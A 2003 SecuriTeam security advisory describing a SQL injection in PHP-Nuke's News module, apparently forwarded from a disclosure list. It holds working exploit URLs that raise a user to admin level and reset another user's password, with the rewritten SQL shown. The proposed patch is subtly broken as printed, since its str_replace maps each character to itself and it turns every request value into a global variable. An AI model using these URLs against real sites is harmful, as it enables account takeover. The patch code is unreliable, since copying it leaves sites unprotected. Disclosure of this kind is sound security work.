[UNIX] PHP-Nuke 'News' Module SQL Injection
From: support@securiteam.com
Date: 03/23/03
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From: support@securiteam.com To: list@securiteam.com Date: 23 Mar 2003 22:14:58 +0200
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PHP-Nuke 'News' Module SQL Injection
------------------------------------------------------------------------
SUMMARY
A security vulnerability in PHP-Nuke allows remote attackers to utilize
PHP-Nuke's News module to insert malicious SQL statements into existing
ones, thus gaining elevated privileges, and access to other user's
accounts.
DETAILS
Vulnerable systems:
* PHP-Nuke versions 5.6, 6.0, 6.5 RC1, 6.5 RC2, 6.5 RC3, and 6.5
Exploits:
Change our level (into admin):
http://[target]/modules.php?name=News&file=article&sid=1&save=1&mode=',user_level='4
http://[target]/modules.php?name=News&file=article&sid=1&save=1&order=',user_level='4
http://[target]/modules.php?name=News&file=article&sid=1&save=1&thold=',user_level='4
Using these URLs will transform this SQL statement:
UPDATE nuke_users SET umode='111', uorder='111', thold='111' where
uid='1526'
Into:
UPDATE nuke_users SET umode='', user_level='4', uorder='111', thold='111'
where uid='1526'
Giving us elevated privileges
Change the Bob's password:
http://[target]/modules.php?name=News&file=article&sid=1&save=1&order=',pass='d41d8cd98f00b204e9800998ecf8427e'%20where%20uname='Bob'/*
Using the above URL will transform the following SQL statement:
UPDATE nuke_users SET umode='111',
uorder='',pass='d41d8cd98f00b204e9800998ecf8427e', thold='111' where
uid='1526'
Into:
UPDATE nuke_users SET umode='111',
uorder='',pass='d41d8cd98f00b204e9800998ecf8427e' where uname='Bob'/*',
thold='111' where uid='1526'
Solution:
In mainfile.php, replace:
[...]
foreach ($_GET as $secvalue) {
if ((eregi("<[^>]*script*\"?[^>]*>", $secvalue)) ||
(eregi("<[^>]*object*\"?[^>]*>", $secvalue)) ||
(eregi("\.\.", $secvalue)) ||
(eregi("<[^>]*iframe*\"?[^>]*>", $secvalue)) ||
(eregi("<[^>]*applet*\"?[^>]*>", $secvalue)) ||
(eregi("<[^>]*meta*\"?[^>]*>", $secvalue)) ||
(eregi("<[^>]*style*\"?[^>]*>", $secvalue)) ||
(eregi("<[^>]*form*\"?[^>]*>", $secvalue)) ||
(eregi("<[^>]*img*\"?[^>]*>", $secvalue)) ||
(eregi("\([^>]*\"?[^)]*\)", $secvalue)) ||
(eregi("\"", $secvalue))) {
Header("Location: index.php");
die();
}
}
foreach ($_POST as $secvalue) {
if (eregi("<[^>]*script*\"?[^>]*>", $secvalue)) {
Header("Location: index.php");
die();
}
}
[...]
With:
foreach ($_REQUEST as $key=>$value) {
if (get_magic_quotes_gpc()==0) {
$value = addslashes($value); // This will reproduce the option
magic_quotes_gpc=1
}
$value =
str_replace(array(')','=','<','>','|'),array(')','=','<','>','|'),$value);
${$key} = $value;
$_REQUEST[$key] = $value;
if (isset($_POST[$key])) { $_POST[$key] = $value; }
if (isset($_COOKIE[$key])) { $_COOKIE[$key] = $value; }
if (isset($_FILE[$key])) { $_FILE[$key] = $value; }
if (isset($_GET[$key])) { $_GET[$key] = $value; }
if (isset($HTTP_POST_VARS[$key])) { $HTTP_POST_VARS[$key] = $value; }
if (isset($HTTP_COOKIE_VARS[$key])) { $HTTP_COOKIE_VARS[$key] =
$value;
}
if (isset($HTTP_FILE_VARS[$key])) { $HTTP_FILE_VARS[$key] = $value; }
if (isset($HTTP_GET_VARS[$key])) { $HTTP_GET_VARS[$key] = $value; }
}
A patch can be found on <http://www.phpsecure.info>
http://www.phpsecure.info.
ADDITIONAL INFORMATION
The information has been provided by <mailto:leseulfrog@hotmail.com> Frog
Man.
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